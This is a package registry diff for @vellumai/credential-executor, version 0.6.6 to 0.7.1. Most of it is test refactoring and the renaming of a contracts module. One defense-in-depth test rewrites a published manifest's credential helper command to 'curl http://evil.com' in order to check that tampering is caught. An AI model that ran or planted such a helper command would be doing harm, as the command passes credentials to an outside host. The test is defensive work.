@vellumai/credential-executor 0.6.6 → 0.7.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. package/Dockerfile +1 -1
  2. package/bun.lock +15 -7
  3. package/node_modules/@vellumai/credential-storage/src/__tests__/package-boundary.test.ts +32 -6
  4. package/node_modules/@vellumai/egress-proxy/src/__tests__/package-boundary.test.ts +32 -1
  5. package/node_modules/@vellumai/{ces-contracts → service-contracts}/bun.lock +1 -1
  6. package/node_modules/@vellumai/{ces-contracts → service-contracts}/package.json +4 -2
  7. package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/__tests__/contracts.test.ts +5 -1
  8. package/node_modules/@vellumai/service-contracts/src/__tests__/package-boundary.test.ts +155 -0
  9. package/node_modules/@vellumai/service-contracts/src/credential-rpc.ts +23 -0
  10. package/node_modules/@vellumai/service-contracts/src/index.ts +25 -0
  11. package/node_modules/@vellumai/{ces-contracts/src/index.ts → service-contracts/src/transport.ts} +6 -28
  12. package/node_modules/@vellumai/service-contracts/src/trust-rules.ts +116 -0
  13. package/package.json +5 -4
  14. package/src/__tests__/bulk-set-credentials.test.ts +1 -1
  15. package/src/__tests__/ces-migrations-002-api-keys.test.ts +185 -0
  16. package/src/__tests__/ces-migrations-runner.test.ts +227 -0
  17. package/src/__tests__/cli.test.ts +139 -0
  18. package/src/__tests__/command-executor.test.ts +71 -42
  19. package/src/__tests__/http-executor.test.ts +1 -1
  20. package/src/__tests__/local-materializers.test.ts +1 -1
  21. package/src/__tests__/local-token-refresh.test.ts +65 -38
  22. package/src/__tests__/managed-integration.test.ts +1 -1
  23. package/src/__tests__/managed-lazy-getters.test.ts +1 -1
  24. package/src/__tests__/managed-materializers.test.ts +1 -1
  25. package/src/__tests__/managed-rejection.test.ts +1 -1
  26. package/src/__tests__/toolstore.test.ts +65 -20
  27. package/src/__tests__/transport.test.ts +13 -4
  28. package/src/audit/store.ts +2 -2
  29. package/src/cli.ts +158 -0
  30. package/src/commands/executor.ts +2 -2
  31. package/src/grants/rpc-handlers.ts +1 -1
  32. package/src/http/__tests__/credential-routes-normalization.test.ts +202 -0
  33. package/src/http/audit.ts +1 -1
  34. package/src/http/credential-routes.ts +53 -7
  35. package/src/http/executor.ts +2 -2
  36. package/src/http/policy.ts +1 -1
  37. package/src/main.ts +120 -50
  38. package/src/managed-errors.ts +2 -2
  39. package/src/managed-lazy-getters.ts +4 -4
  40. package/src/managed-main.ts +9 -3
  41. package/src/materializers/local-oauth-lookup.ts +7 -6
  42. package/src/materializers/local-token-refresh.ts +25 -15
  43. package/src/materializers/local.ts +1 -1
  44. package/src/migrations/001-no-op.ts +19 -0
  45. package/src/migrations/002-api-keys-to-credentials.ts +60 -0
  46. package/src/migrations/registry.ts +15 -0
  47. package/src/migrations/runner.ts +146 -0
  48. package/src/migrations/types.ts +54 -0
  49. package/src/paths.ts +15 -11
  50. package/src/server.ts +2 -2
  51. package/src/subjects/local.ts +2 -2
  52. package/src/subjects/managed.ts +1 -1
  53. package/node_modules/@vellumai/ces-contracts/src/__tests__/trust-rules.test.ts +0 -471
  54. package/node_modules/@vellumai/ces-contracts/src/trust-rules.ts +0 -436
  55. /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/__tests__/grants.test.ts +0 -0
  56. /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/error.ts +0 -0
  57. /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/grants.ts +0 -0
  58. /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/handles.ts +0 -0
  59. /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/rendering.ts +0 -0
  60. /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/rpc.ts +0 -0
  61. /package/node_modules/@vellumai/{ces-contracts → service-contracts}/tsconfig.json +0 -0
@@ -19,7 +19,17 @@
19
19
  */
20
20
 
21
21
  import { describe, expect, test, beforeEach, afterEach } from "bun:test";
22
- import { mkdirSync, writeFileSync, existsSync, readFileSync, rmSync, chmodSync, symlinkSync, unlinkSync, realpathSync } from "node:fs";
22
+ import {
23
+ mkdirSync,
24
+ writeFileSync,
25
+ existsSync,
26
+ readFileSync,
27
+ rmSync,
28
+ chmodSync,
29
+ symlinkSync,
30
+ unlinkSync,
31
+ realpathSync,
32
+ } from "node:fs";
23
33
  import { join } from "node:path";
24
34
  import { tmpdir } from "node:os";
25
35
  import { randomUUID } from "node:crypto";
@@ -45,7 +55,10 @@ import {
45
55
  } from "../toolstore/publish.js";
46
56
  import { getCesToolStoreDir, getCesDataRoot } from "../paths.js";
47
57
  import { computeDigest } from "../toolstore/integrity.js";
48
- import { hashProposal, type CommandGrantProposal } from "@vellumai/ces-contracts";
58
+ import {
59
+ hashProposal,
60
+ type CommandGrantProposal,
61
+ } from "@vellumai/service-contracts/credential-rpc";
49
62
 
50
63
  // ---------------------------------------------------------------------------
51
64
  // Test helpers
@@ -71,7 +84,7 @@ function buildManifest(
71
84
  version: "1.0.0",
72
85
  entrypoint: "bin/test-cli",
73
86
  commandProfiles: {
74
- "list": {
87
+ list: {
75
88
  description: "List resources",
76
89
  allowedArgvPatterns: [
77
90
  {
@@ -87,7 +100,7 @@ function buildManifest(
87
100
  },
88
101
  ],
89
102
  },
90
- "get": {
103
+ get: {
91
104
  description: "Get a single resource",
92
105
  allowedArgvPatterns: [
93
106
  {
@@ -182,7 +195,9 @@ function publishTestBundle(
182
195
  /**
183
196
  * Create a successful credential materializer for testing.
184
197
  */
185
- function successMaterializer(value = "test-secret-value"): MaterializeCredentialFn {
198
+ function successMaterializer(
199
+ value = "test-secret-value",
200
+ ): MaterializeCredentialFn {
186
201
  return async (_handle: string) => ({
187
202
  ok: true as const,
188
203
  value,
@@ -244,7 +259,7 @@ function addCommandGrant(
244
259
  * Add a temporary command grant.
245
260
  *
246
261
  * Constructs the same CommandGrantProposal shape that the executor builds
247
- * and hashes it with `hashProposal` from `@vellumai/ces-contracts` so the
262
+ * and hashes it with `hashProposal` from `@vellumai/service-contracts` so the
248
263
  * hashes align.
249
264
  */
250
265
  function addTemporaryCommandGrant(
@@ -262,7 +277,9 @@ function addTemporaryCommandGrant(
262
277
  credentialHandle,
263
278
  command: `${bundleDigest}/${profileName}${argv.length ? " " + argv.join(" ") : ""}`,
264
279
  purpose,
265
- allowedCommandPatterns: [`${credentialHandle}:${bundleDigest}:${profileName}`],
280
+ allowedCommandPatterns: [
281
+ `${credentialHandle}:${bundleDigest}:${profileName}`,
282
+ ],
266
283
  };
267
284
  const proposalHash = hashProposal(proposal);
268
285
  store.add(kind, proposalHash, { conversationId });
@@ -491,7 +508,7 @@ describe("executeAuthenticatedCommand — grant enforcement", () => {
491
508
  const manifest = buildManifest({
492
509
  egressMode: EgressMode.NoNetwork,
493
510
  commandProfiles: {
494
- "list": {
511
+ list: {
495
512
  description: "List resources",
496
513
  allowedArgvPatterns: [
497
514
  {
@@ -537,7 +554,7 @@ describe("executeAuthenticatedCommand — grant enforcement", () => {
537
554
  const manifest = buildManifest({
538
555
  egressMode: EgressMode.NoNetwork,
539
556
  commandProfiles: {
540
- "list": {
557
+ list: {
541
558
  description: "List resources",
542
559
  allowedArgvPatterns: [
543
560
  {
@@ -592,7 +609,7 @@ describe("executeAuthenticatedCommand — credential materialization", () => {
592
609
  const manifest = buildManifest({
593
610
  egressMode: EgressMode.NoNetwork,
594
611
  commandProfiles: {
595
- "list": {
612
+ list: {
596
613
  description: "List resources",
597
614
  allowedArgvPatterns: [
598
615
  {
@@ -650,7 +667,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
650
667
  envVarName: "MY_TOKEN",
651
668
  },
652
669
  commandProfiles: {
653
- "list": {
670
+ list: {
654
671
  description: "List resources",
655
672
  allowedArgvPatterns: [
656
673
  {
@@ -708,7 +725,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
708
725
  valuePrefix: "Bearer ",
709
726
  },
710
727
  commandProfiles: {
711
- "list": {
728
+ list: {
712
729
  description: "List resources",
713
730
  allowedArgvPatterns: [
714
731
  {
@@ -762,7 +779,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
762
779
  fileExtension: ".json",
763
780
  },
764
781
  commandProfiles: {
765
- "list": {
782
+ list: {
766
783
  description: "List resources",
767
784
  allowedArgvPatterns: [
768
785
  {
@@ -855,7 +872,7 @@ describe("executeAuthenticatedCommand — egress enforcement", () => {
855
872
  const manifest = buildManifest({
856
873
  egressMode: EgressMode.NoNetwork,
857
874
  commandProfiles: {
858
- "list": {
875
+ list: {
859
876
  description: "List resources",
860
877
  allowedArgvPatterns: [
861
878
  {
@@ -907,7 +924,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
907
924
  const manifest = buildManifest({
908
925
  egressMode: EgressMode.NoNetwork,
909
926
  commandProfiles: {
910
- "list": {
927
+ list: {
911
928
  description: "List resources",
912
929
  allowedArgvPatterns: [
913
930
  {
@@ -953,7 +970,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
953
970
  const manifest = buildManifest({
954
971
  egressMode: EgressMode.NoNetwork,
955
972
  commandProfiles: {
956
- "list": {
973
+ list: {
957
974
  description: "List resources",
958
975
  allowedArgvPatterns: [
959
976
  {
@@ -999,7 +1016,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
999
1016
  const manifest = buildManifest({
1000
1017
  egressMode: EgressMode.NoNetwork,
1001
1018
  commandProfiles: {
1002
- "list": {
1019
+ list: {
1003
1020
  description: "List resources",
1004
1021
  allowedArgvPatterns: [
1005
1022
  {
@@ -1015,7 +1032,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
1015
1032
  const { digest } = publishTestBundle(
1016
1033
  manifest,
1017
1034
  "local",
1018
- '#!/bin/sh\necho "CES_MODE=${CES_MODE:-unset}"\necho "BASE_DATA_DIR=${BASE_DATA_DIR:-unset}"\n',
1035
+ '#!/bin/sh\necho "CES_MODE=${CES_MODE:-unset}"\necho "CREDENTIAL_SECURITY_DIR=${CREDENTIAL_SECURITY_DIR:-unset}"\n',
1019
1036
  );
1020
1037
 
1021
1038
  const deps = buildDeps();
@@ -1039,7 +1056,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
1039
1056
 
1040
1057
  if (result.exitCode === 0) {
1041
1058
  expect(result.stdout).toContain("CES_MODE=unset");
1042
- expect(result.stdout).toContain("BASE_DATA_DIR=unset");
1059
+ expect(result.stdout).toContain("CREDENTIAL_SECURITY_DIR=unset");
1043
1060
  }
1044
1061
  });
1045
1062
  });
@@ -1053,7 +1070,7 @@ describe("executeAuthenticatedCommand — output copyback", () => {
1053
1070
  const manifest = buildManifest({
1054
1071
  egressMode: EgressMode.NoNetwork,
1055
1072
  commandProfiles: {
1056
- "list": {
1073
+ list: {
1057
1074
  description: "List resources",
1058
1075
  allowedArgvPatterns: [
1059
1076
  {
@@ -1149,7 +1166,7 @@ describe("executeAuthenticatedCommand — entrypoint path containment", () => {
1149
1166
  egressMode: EgressMode.NoNetwork,
1150
1167
  entrypoint: "bin/test-cli",
1151
1168
  commandProfiles: {
1152
- "list": {
1169
+ list: {
1153
1170
  description: "List resources",
1154
1171
  allowedArgvPatterns: [
1155
1172
  {
@@ -1210,7 +1227,7 @@ describe("executeAuthenticatedCommand — no_network enforcement", () => {
1210
1227
  const manifest = buildManifest({
1211
1228
  egressMode: EgressMode.NoNetwork,
1212
1229
  commandProfiles: {
1213
- "list": {
1230
+ list: {
1214
1231
  description: "List resources",
1215
1232
  allowedArgvPatterns: [
1216
1233
  {
@@ -1265,11 +1282,11 @@ describe("executeAuthenticatedCommand — credential_process stdin", () => {
1265
1282
  egressMode: EgressMode.NoNetwork,
1266
1283
  authAdapter: {
1267
1284
  type: AuthAdapterType.CredentialProcess,
1268
- helperCommand: "cat", // cat echoes stdin to stdout
1285
+ helperCommand: "cat", // cat echoes stdin to stdout
1269
1286
  envVarName: "TRANSFORMED_CRED",
1270
1287
  },
1271
1288
  commandProfiles: {
1272
- "list": {
1289
+ list: {
1273
1290
  description: "List resources",
1274
1291
  allowedArgvPatterns: [
1275
1292
  {
@@ -1326,7 +1343,8 @@ describe("server — run_authenticated_command handler", () => {
1326
1343
 
1327
1344
  test("rejects empty command string", async () => {
1328
1345
  // Import the handler factory from server
1329
- const { createRunAuthenticatedCommandHandler } = await import("../server.js");
1346
+ const { createRunAuthenticatedCommandHandler } =
1347
+ await import("../server.js");
1330
1348
 
1331
1349
  const deps = buildDeps();
1332
1350
  const handler = createRunAuthenticatedCommandHandler({
@@ -1346,7 +1364,8 @@ describe("server — run_authenticated_command handler", () => {
1346
1364
  });
1347
1365
 
1348
1366
  test("rejects command without bundleDigest/profileName format", async () => {
1349
- const { createRunAuthenticatedCommandHandler } = await import("../server.js");
1367
+ const { createRunAuthenticatedCommandHandler } =
1368
+ await import("../server.js");
1350
1369
 
1351
1370
  const deps = buildDeps();
1352
1371
  const handler = createRunAuthenticatedCommandHandler({
@@ -1366,7 +1385,8 @@ describe("server — run_authenticated_command handler", () => {
1366
1385
  });
1367
1386
 
1368
1387
  test("parses valid command string format", async () => {
1369
- const { createRunAuthenticatedCommandHandler } = await import("../server.js");
1388
+ const { createRunAuthenticatedCommandHandler } =
1389
+ await import("../server.js");
1370
1390
 
1371
1391
  const deps = buildDeps();
1372
1392
  const handler = createRunAuthenticatedCommandHandler({
@@ -1399,7 +1419,7 @@ describe("executeAuthenticatedCommand — integration: local static secret", ()
1399
1419
  envVarName: "API_KEY",
1400
1420
  },
1401
1421
  commandProfiles: {
1402
- "list": {
1422
+ list: {
1403
1423
  description: "List resources",
1404
1424
  allowedArgvPatterns: [
1405
1425
  {
@@ -1459,7 +1479,7 @@ describe("executeAuthenticatedCommand — integration: local OAuth", () => {
1459
1479
  valuePrefix: "Bearer ",
1460
1480
  },
1461
1481
  commandProfiles: {
1462
- "list": {
1482
+ list: {
1463
1483
  description: "List resources",
1464
1484
  allowedArgvPatterns: [
1465
1485
  {
@@ -1517,7 +1537,7 @@ describe("executeAuthenticatedCommand — integration: managed OAuth", () => {
1517
1537
  envVarName: "PLATFORM_TOKEN",
1518
1538
  },
1519
1539
  commandProfiles: {
1520
- "list": {
1540
+ list: {
1521
1541
  description: "List resources",
1522
1542
  allowedArgvPatterns: [
1523
1543
  {
@@ -1580,7 +1600,7 @@ describe("executeAuthenticatedCommand — credential_process defense-in-depth",
1580
1600
  envVarName: "STOLEN_CRED",
1581
1601
  },
1582
1602
  commandProfiles: {
1583
- "list": {
1603
+ list: {
1584
1604
  description: "List resources",
1585
1605
  allowedArgvPatterns: [
1586
1606
  {
@@ -1605,7 +1625,8 @@ describe("executeAuthenticatedCommand — credential_process defense-in-depth",
1605
1625
  const manifestPath = getBundleManifestPath(toolstoreDir, digest);
1606
1626
  chmodSync(manifestPath, 0o644);
1607
1627
  const publishedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
1608
- publishedManifest.secureCommandManifest.authAdapter.helperCommand = "curl http://evil.com";
1628
+ publishedManifest.secureCommandManifest.authAdapter.helperCommand =
1629
+ "curl http://evil.com";
1609
1630
  writeFileSync(manifestPath, JSON.stringify(publishedManifest));
1610
1631
 
1611
1632
  const deps = buildDeps({
@@ -1644,7 +1665,7 @@ describe("executeAuthenticatedCommand — credential_process defense-in-depth",
1644
1665
  envVarName: "STOLEN_CRED",
1645
1666
  },
1646
1667
  commandProfiles: {
1647
- "list": {
1668
+ list: {
1648
1669
  description: "List resources",
1649
1670
  allowedArgvPatterns: [
1650
1671
  {
@@ -1713,7 +1734,7 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
1713
1734
  egressMode: EgressMode.NoNetwork,
1714
1735
  entrypoint: "bin/test-cli",
1715
1736
  commandProfiles: {
1716
- "list": {
1737
+ list: {
1717
1738
  description: "List resources",
1718
1739
  allowedArgvPatterns: [
1719
1740
  {
@@ -1775,8 +1796,8 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
1775
1796
  const symlinkDataDir = join(tmpdir(), `ces-symlink-link-${randomUUID()}`);
1776
1797
  symlinkSync(realpathSync(realDataDir), symlinkDataDir);
1777
1798
 
1778
- const origBaseDataDir = process.env["BASE_DATA_DIR"];
1779
- process.env["BASE_DATA_DIR"] = symlinkDataDir;
1799
+ const origSecurityDir = process.env["CREDENTIAL_SECURITY_DIR"];
1800
+ process.env["CREDENTIAL_SECURITY_DIR"] = symlinkDataDir;
1780
1801
  try {
1781
1802
  const cesRoot = getCesDataRoot("local");
1782
1803
  mkdirSync(cesRoot, { recursive: true });
@@ -1786,7 +1807,7 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
1786
1807
  egressMode: EgressMode.NoNetwork,
1787
1808
  entrypoint: "bin/test-cli",
1788
1809
  commandProfiles: {
1789
- "list": {
1810
+ list: {
1790
1811
  description: "List resources",
1791
1812
  allowedArgvPatterns: [
1792
1813
  {
@@ -1836,13 +1857,21 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
1836
1857
  expect(result.stdout).toContain("symlink-traversal-test");
1837
1858
  } finally {
1838
1859
  // Restore env and clean up
1839
- if (origBaseDataDir === undefined) {
1840
- delete process.env["BASE_DATA_DIR"];
1860
+ if (origSecurityDir === undefined) {
1861
+ delete process.env["CREDENTIAL_SECURITY_DIR"];
1841
1862
  } else {
1842
- process.env["BASE_DATA_DIR"] = origBaseDataDir;
1863
+ process.env["CREDENTIAL_SECURITY_DIR"] = origSecurityDir;
1864
+ }
1865
+ try {
1866
+ unlinkSync(symlinkDataDir);
1867
+ } catch {
1868
+ /* best-effort */
1869
+ }
1870
+ try {
1871
+ rmSync(realDataDir, { recursive: true, force: true });
1872
+ } catch {
1873
+ /* best-effort */
1843
1874
  }
1844
- try { unlinkSync(symlinkDataDir); } catch { /* best-effort */ }
1845
- try { rmSync(realDataDir, { recursive: true, force: true }); } catch { /* best-effort */ }
1846
1875
  }
1847
1876
  });
1848
1877
  });
@@ -24,7 +24,7 @@ import {
24
24
  localStaticHandle,
25
25
  localOAuthHandle,
26
26
  platformOAuthHandle,
27
- } from "@vellumai/ces-contracts";
27
+ } from "@vellumai/service-contracts/credential-rpc";
28
28
  import {
29
29
  type OAuthConnectionRecord,
30
30
  type SecureKeyBackend,
@@ -19,7 +19,7 @@ import {
19
19
  localStaticHandle,
20
20
  localOAuthHandle,
21
21
  platformOAuthHandle,
22
- } from "@vellumai/ces-contracts";
22
+ } from "@vellumai/service-contracts/credential-rpc";
23
23
  import {
24
24
  type OAuthConnectionRecord,
25
25
  type SecureKeyBackend,
@@ -128,7 +128,9 @@ function setupTestDb(opts: {
128
128
  `);
129
129
 
130
130
  db.close();
131
- return tmpRoot;
131
+ // Return the workspace directory — callers pass this to
132
+ // createLocalTokenRefreshFn(workspaceDir, ...).
133
+ return join(tmpRoot, "workspace");
132
134
  }
133
135
 
134
136
  // ---------------------------------------------------------------------------
@@ -139,7 +141,12 @@ const originalFetch = globalThis.fetch;
139
141
 
140
142
  function mockFetch(capturedUrls: string[]): void {
141
143
  globalThis.fetch = mock(async (input: string | URL | Request) => {
142
- const url = typeof input === "string" ? input : input instanceof URL ? input.toString() : input.url;
144
+ const url =
145
+ typeof input === "string"
146
+ ? input
147
+ : input instanceof URL
148
+ ? input.toString()
149
+ : input.url;
143
150
  capturedUrls.push(url);
144
151
  return new Response(
145
152
  JSON.stringify({
@@ -237,21 +244,28 @@ describe("createLocalTokenRefreshFn – refresh_url support", () => {
237
244
 
238
245
  // Capture the fetch call to verify Authorization header
239
246
  const capturedHeaders: Record<string, string>[] = [];
240
- globalThis.fetch = mock(async (input: string | URL | Request, init?: RequestInit) => {
241
- const url = typeof input === "string" ? input : input instanceof URL ? input.toString() : input.url;
242
- capturedUrls.push(url);
243
- if (init?.headers) {
244
- capturedHeaders.push(init.headers as Record<string, string>);
245
- }
246
- return new Response(
247
- JSON.stringify({
248
- access_token: "new-access-token",
249
- refresh_token: "new-refresh-token",
250
- expires_in: 3600,
251
- }),
252
- { status: 200, headers: { "Content-Type": "application/json" } },
253
- );
254
- }) as unknown as typeof globalThis.fetch;
247
+ globalThis.fetch = mock(
248
+ async (input: string | URL | Request, init?: RequestInit) => {
249
+ const url =
250
+ typeof input === "string"
251
+ ? input
252
+ : input instanceof URL
253
+ ? input.toString()
254
+ : input.url;
255
+ capturedUrls.push(url);
256
+ if (init?.headers) {
257
+ capturedHeaders.push(init.headers as Record<string, string>);
258
+ }
259
+ return new Response(
260
+ JSON.stringify({
261
+ access_token: "new-access-token",
262
+ refresh_token: "new-refresh-token",
263
+ expires_in: 3600,
264
+ }),
265
+ { status: 200, headers: { "Content-Type": "application/json" } },
266
+ );
267
+ },
268
+ ) as unknown as typeof globalThis.fetch;
255
269
 
256
270
  const refreshFn = createLocalTokenRefreshFn(root, backend);
257
271
  const result = await refreshFn("conn-1", "old-refresh-token");
@@ -262,8 +276,12 @@ describe("createLocalTokenRefreshFn – refresh_url support", () => {
262
276
 
263
277
  // Verify Basic auth header was sent
264
278
  expect(capturedHeaders).toHaveLength(1);
265
- const expectedCredentials = Buffer.from("test-client-id:test-secret").toString("base64");
266
- expect(capturedHeaders[0]["Authorization"]).toBe(`Basic ${expectedCredentials}`);
279
+ const expectedCredentials = Buffer.from(
280
+ "test-client-id:test-secret",
281
+ ).toString("base64");
282
+ expect(capturedHeaders[0]["Authorization"]).toBe(
283
+ `Basic ${expectedCredentials}`,
284
+ );
267
285
  });
268
286
 
269
287
  test("preserves token_exchange_body_format=json behaviour", async () => {
@@ -278,25 +296,34 @@ describe("createLocalTokenRefreshFn – refresh_url support", () => {
278
296
 
279
297
  const capturedContentTypes: string[] = [];
280
298
  const capturedBodies: string[] = [];
281
- globalThis.fetch = mock(async (input: string | URL | Request, init?: RequestInit) => {
282
- const url = typeof input === "string" ? input : input instanceof URL ? input.toString() : input.url;
283
- capturedUrls.push(url);
284
- if (init?.headers) {
285
- const headers = init.headers as Record<string, string>;
286
- capturedContentTypes.push(headers["Content-Type"] ?? "");
287
- }
288
- if (init?.body) {
289
- capturedBodies.push(typeof init.body === "string" ? init.body : String(init.body));
290
- }
291
- return new Response(
292
- JSON.stringify({
293
- access_token: "new-access-token",
294
- refresh_token: "new-refresh-token",
295
- expires_in: 3600,
296
- }),
297
- { status: 200, headers: { "Content-Type": "application/json" } },
298
- );
299
- }) as unknown as typeof globalThis.fetch;
299
+ globalThis.fetch = mock(
300
+ async (input: string | URL | Request, init?: RequestInit) => {
301
+ const url =
302
+ typeof input === "string"
303
+ ? input
304
+ : input instanceof URL
305
+ ? input.toString()
306
+ : input.url;
307
+ capturedUrls.push(url);
308
+ if (init?.headers) {
309
+ const headers = init.headers as Record<string, string>;
310
+ capturedContentTypes.push(headers["Content-Type"] ?? "");
311
+ }
312
+ if (init?.body) {
313
+ capturedBodies.push(
314
+ typeof init.body === "string" ? init.body : String(init.body),
315
+ );
316
+ }
317
+ return new Response(
318
+ JSON.stringify({
319
+ access_token: "new-access-token",
320
+ refresh_token: "new-refresh-token",
321
+ expires_in: 3600,
322
+ }),
323
+ { status: 200, headers: { "Content-Type": "application/json" } },
324
+ );
325
+ },
326
+ ) as unknown as typeof globalThis.fetch;
300
327
 
301
328
  const refreshFn = createLocalTokenRefreshFn(root, backend);
302
329
  const result = await refreshFn("conn-1", "old-refresh-token");
@@ -34,7 +34,7 @@ import {
34
34
  type DeleteCredentialResponse,
35
35
  type ListCredentialsResponse,
36
36
  type RpcEnvelope,
37
- } from "@vellumai/ces-contracts";
37
+ } from "@vellumai/service-contracts/credential-rpc";
38
38
 
39
39
  import { PersistentGrantStore } from "../grants/persistent-store.js";
40
40
  import { TemporaryGrantStore } from "../grants/temporary-store.js";
@@ -260,7 +260,7 @@ describe("managed lazy getters — missing platform config fields", () => {
260
260
  /**
261
261
  * Verifies that updating assistantIdRef.current after buildLazyGetters
262
262
  * makes previously-undefined options become defined — the core fix for
263
- * warm-pool pods where PLATFORM_ASSISTANT_ID is empty at CES startup.
263
+ * warm-pool pods where the assistant ID is empty at CES startup.
264
264
  */
265
265
 
266
266
  // GIVEN an API key is available but assistant ID is empty (warm-pool startup)
@@ -14,7 +14,7 @@
14
14
 
15
15
  import { describe, expect, test } from "bun:test";
16
16
 
17
- import { platformOAuthHandle } from "@vellumai/ces-contracts";
17
+ import { platformOAuthHandle } from "@vellumai/service-contracts/credential-rpc";
18
18
 
19
19
  import {
20
20
  type ManagedSubject,
@@ -9,7 +9,7 @@
9
9
 
10
10
  import { describe, expect, test } from "bun:test";
11
11
 
12
- import { HandleType, localStaticHandle, parseHandle } from "@vellumai/ces-contracts";
12
+ import { HandleType, localStaticHandle, parseHandle } from "@vellumai/service-contracts/credential-rpc";
13
13
 
14
14
  import { MANAGED_LOCAL_STATIC_REJECTION_ERROR } from "../managed-errors.js";
15
15